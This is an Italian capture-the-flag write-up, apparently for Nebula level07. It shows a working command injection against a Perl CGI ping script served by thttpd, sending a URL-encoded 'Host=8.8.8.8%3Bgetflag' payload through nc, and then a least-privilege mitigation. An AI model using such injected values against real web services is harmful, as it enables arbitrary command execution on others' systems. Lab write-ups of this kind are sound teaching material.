Temi


Debolezze


  1. Il binario /usr/sbin/thttpd ha privilegi di esecuzione ingiustificatamente elevati. → Minimo privilegio

🐲 Strategia di attacco


1. Analisi canali di input

Nella cartella /home/flag07 si notano due file interessanti.

ls -l /home/flag07

-rwxr-xr-x 1 root root  368 2011-11-20 21:22 index.cgi
-rw-r--r-- 1 root root 3719 2011-11-20 21:22 thttpd.conf

Il file index.cgi è uno script perl. Il protocollo cgi permette la comunicazione tra script e server, e l’elemento scambiato è il content-type. Lo script prende il contenuto della variabile host (passata tramite query string) e lo pinga, e stampa l’output.

Analizzando il file thttpd.conf è possibile trovare le informazioni del web server:

Possiamo anche vedere se è presente un processo che esegue thttpd:

ps faux | grep thttpd

Vedo una riga interessante:

flag07    1196  0.0  0.3   2588   840 ?        Ss   07:10   0:00 /usr/sbin/thttpd -C /home/flag07/thttpd.conf

Da qui posso vedere che esiste il processo e anche il file di configurazione, che è effettivamente /home/flag07/thttpd.conf.

2. Sfruttamento della debolezza

È possibile iniettare codice remoto tramite la variabile host.

Per farlo dobbiamo costruire il comando:

echo "GET /index.cgi?Host=8.8.8.8" | nc localhost 7007

In questo modo si ottiene il normale output di ping. È ora necesario iniettare il codice malizioso. Per fare ciò si segue la regola:

INPUT = INPUT_LEGITTIMO + CARATTERE_SEPARATORE_COMANDI + COMANDO_ARBITRARIO + CARATTERE_CHIUSURA

Alla variabile passiamo quindi: 8.8.8.8;getflag\r\n\r\n.

Si esegue con l’opzione -e per abilitare l’interpretazione dei backslash come escape.

echo "GET /index.cgi?Host=8.8.8.8;getflag\\r\\n\\r\\n" | nc localhost 7007

Il codice non funziona. Questo perché il punto e virgola è un carattere speciale: è già consumato dal Web server per dividere gli argomenti della query string (in alternativa a &).

È necessario fare l’escape del punto e virgola. Per fare ciò in ambito Web:

Il comando diventa:

echo -e "GET /index.cgi?Host=8.8.8.8%3Bgetflag\\r\\n\\r\\n" | nc localhost 7007

Il prof usa anche l’opzione -n ma non ne ho capito l’utilità.

👼 Mitigazione debolezze


Mitigazione #1

Binario thttpd con privilegi ingiustificatamente elevati

Come visto nella strategia di attacco è possibile vedere il processo in esecuzione con il comando ps faux | grep thttpd. Cosi ci assicuriamo che il processo segue il file di configurazione thttpd.conf (opzione -C).

Per effettuare la mitigazione effettuiamo una copia del file di configurazione e dello script cgi, nella home directory di level07:

cp /home/flag07/thttpd.conf /home/level07
cp /home/flag07/index.cgi /home/level07

E assegnamo i privilegi appropriati:

chmod 644 thttpd.conf
chmod 755 index.cgi

A questo punto modifichiamo il file di configurazione come segue:

Se andiamo a questo punto ad avviare una nuova istanza del server web:

thttpd -C /home/level07/thttpd.conf

Il comando di attacco non esegue più con i privilegi di flag07 e dunque l’attacco non va a buon fine.

echo -e "GET /index.cgi?Host=8.8.8.8%3Bgetflag\\r\\n\\r\\n" | nc localhost 7008